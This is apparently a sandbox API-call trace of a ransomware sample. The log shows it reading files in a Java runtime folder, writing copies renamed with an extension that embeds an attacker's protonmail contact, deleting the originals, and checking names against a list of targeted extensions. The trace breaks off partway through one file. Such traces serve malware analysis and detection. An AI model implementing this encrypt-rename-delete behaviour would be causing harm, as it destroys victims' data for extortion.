	[0095.358] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=255040) returned 1
	[0095.358] CloseHandle (hObject=0x2b8) returned 1
	[0095.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20
	[0095.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.358] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.358] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.363] GetLastError () returned 0x0
	[0095.363] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x3e440, lpOverlapped=0x0) returned 1
	[0095.377] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x3e450, lpOverlapped=0x0) returned 1
	[0095.381] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.382] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0095.382] SetEndOfFile (hFile=0x370) returned 1
	[0095.382] CloseHandle (hObject=0x370) returned 1
	[0095.382] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.382] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.386] CloseHandle (hObject=0x2b8) returned 1
	[0095.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.387] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1
	[0095.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.387] lstrlenW (lpString=".doc") returned 4
	[0095.387] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.387] lstrlenW (lpString=".docx") returned 5
	[0095.387] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0095.387] lstrlenW (lpString=".pdf") returned 4
	[0095.387] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.387] lstrlenW (lpString=".xls") returned 4
	[0095.387] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.387] lstrlenW (lpString=".xlsx") returned 5
	[0095.387] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0095.387] lstrlenW (lpString=".ppt") returned 4
	[0095.387] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.387] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.387] lstrlenW (lpString=".zip") returned 4
	[0095.387] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.387] lstrlenW (lpString=".rar") returned 4
	[0095.387] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.387] lstrlenW (lpString=".bz2") returned 4
	[0095.387] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.387] lstrlenW (lpString=".7z") returned 3
	[0095.388] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.388] lstrlenW (lpString=".dbf") returned 4
	[0095.388] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.388] lstrlenW (lpString=".1cd") returned 4
	[0095.388] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.388] lstrlenW (lpString=".jpg") returned 4
	[0095.388] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.388] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.388] lstrlenW (lpString=".doc") returned 4
	[0095.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.388] lstrlenW (lpString=".docx") returned 5
	[0095.388] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1
	[0095.388] lstrlenW (lpString=".pdf") returned 4
	[0095.625] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.625] lstrlenW (lpString=".xls") returned 4
	[0095.625] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.625] lstrlenW (lpString=".xlsx") returned 5
	[0095.625] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1
	[0095.625] lstrlenW (lpString=".ppt") returned 4
	[0095.625] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.625] lstrlenW (lpString=".zip") returned 4
	[0095.625] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.625] lstrlenW (lpString=".rar") returned 4
	[0095.625] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.625] lstrlenW (lpString=".bz2") returned 4
	[0095.625] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.625] lstrlenW (lpString=".7z") returned 3
	[0095.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.625] lstrlenW (lpString=".dbf") returned 4
	[0095.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.625] lstrlenW (lpString=".1cd") returned 4
	[0095.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46
	[0095.625] lstrlenW (lpString=".jpg") returned 4
	[0095.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.626] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.626] lstrlenW (lpString="verify.dll") returned 10
	[0095.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.626] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=49216) returned 1
	[0095.626] CloseHandle (hObject=0x2b8) returned 1
	[0095.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20
	[0095.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.628] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.629] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.629] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.629] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.629] GetLastError () returned 0x0
	[0095.629] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xc040, lpOverlapped=0x0) returned 1
	[0095.638] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xc050, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xc050, lpOverlapped=0x0) returned 1
	[0095.640] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.640] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0095.640] SetEndOfFile (hFile=0x370) returned 1
	[0095.640] CloseHandle (hObject=0x370) returned 1
	[0095.640] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.640] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.641] CloseHandle (hObject=0x2b8) returned 1
	[0095.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.642] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 1
	[0095.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.642] lstrlenW (lpString=".doc") returned 4
	[0095.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.642] lstrlenW (lpString=".docx") returned 5
	[0095.642] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0095.642] lstrlenW (lpString=".pdf") returned 4
	[0095.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.642] lstrlenW (lpString=".xls") returned 4
	[0095.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.642] lstrlenW (lpString=".xlsx") returned 5
	[0095.642] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0095.642] lstrlenW (lpString=".ppt") returned 4
	[0095.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.642] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.642] lstrlenW (lpString=".zip") returned 4
	[0095.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.642] lstrlenW (lpString=".rar") returned 4
	[0095.642] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.642] lstrlenW (lpString=".bz2") returned 4
	[0095.642] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.642] lstrlenW (lpString=".7z") returned 3
	[0095.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString=".dbf") returned 4
	[0095.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString=".1cd") returned 4
	[0095.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString=".jpg") returned 4
	[0095.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString=".doc") returned 4
	[0095.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString=".docx") returned 5
	[0095.643] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0095.643] lstrlenW (lpString=".pdf") returned 4
	[0095.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString=".xls") returned 4
	[0095.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString=".xlsx") returned 5
	[0095.643] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0095.643] lstrlenW (lpString=".ppt") returned 4
	[0095.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString=".zip") returned 4
	[0095.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString=".rar") returned 4
	[0095.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.643] lstrlenW (lpString=".bz2") returned 4
	[0095.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.643] lstrlenW (lpString=".7z") returned 3
	[0095.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.643] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.643] lstrlenW (lpString=".dbf") returned 4
	[0095.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.644] lstrlenW (lpString=".1cd") returned 4
	[0095.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.644] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll") returned 49
	[0095.644] lstrlenW (lpString=".jpg") returned 4
	[0095.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.644] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.644] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16
	[0095.644] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.644] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=24128) returned 1
	[0095.644] CloseHandle (hObject=0x2b8) returned 1
	[0095.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20
	[0095.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.645] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.645] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.645] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0095.645] GetLastError () returned 0x0
	[0095.645] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x5e40, lpOverlapped=0x0) returned 1
	[0095.667] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x5e50, lpOverlapped=0x0) returned 1
	[0095.668] ReadFile (in: hFile=0x2b8, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.668] WriteFile (in: hFile=0x370, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0095.668] SetEndOfFile (hFile=0x370) returned 1
	[0095.668] CloseHandle (hObject=0x370) returned 1
	[0095.669] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.669] SetEndOfFile (hFile=0x2b8) returned 1
	[0095.670] CloseHandle (hObject=0x2b8) returned 1
	[0095.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0095.670] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1
	[0095.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.670] lstrlenW (lpString=".doc") returned 4
	[0095.670] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.670] lstrlenW (lpString=".docx") returned 5
	[0095.670] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1
	[0095.670] lstrlenW (lpString=".pdf") returned 4
	[0095.670] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.670] lstrlenW (lpString=".xls") returned 4
	[0095.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString=".xlsx") returned 5
	[0095.671] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1
	[0095.671] lstrlenW (lpString=".ppt") returned 4
	[0095.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString=".zip") returned 4
	[0095.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString=".rar") returned 4
	[0095.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString=".bz2") returned 4
	[0095.671] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.671] lstrlenW (lpString=".7z") returned 3
	[0095.671] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString=".dbf") returned 4
	[0095.671] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString=".1cd") returned 4
	[0095.671] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString=".jpg") returned 4
	[0095.671] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString=".doc") returned 4
	[0095.671] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString=".docx") returned 5
	[0095.671] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1
	[0095.671] lstrlenW (lpString=".pdf") returned 4
	[0095.671] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString=".xls") returned 4
	[0095.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString=".xlsx") returned 5
	[0095.671] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1
	[0095.671] lstrlenW (lpString=".ppt") returned 4
	[0095.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0095.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.671] lstrlenW (lpString=".zip") returned 4
	[0095.672] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0095.672] lstrlenW (lpString=".rar") returned 4
	[0095.672] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0095.672] lstrlenW (lpString=".bz2") returned 4
	[0095.672] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0095.672] lstrlenW (lpString=".7z") returned 3
	[0095.672] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0095.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.672] lstrlenW (lpString=".dbf") returned 4
	[0095.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0095.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.672] lstrlenW (lpString=".1cd") returned 4
	[0095.672] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0095.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55
	[0095.672] lstrlenW (lpString=".jpg") returned 4
	[0095.672] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0095.672] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0095.672] lstrlenW (lpString="zip.dll") returned 7
	[0095.672] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.672] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=77888) returned 1
	[0095.672] CloseHandle (hObject=0x2b8) returned 1
	[0095.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20
	[0095.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.673] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0095.673] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
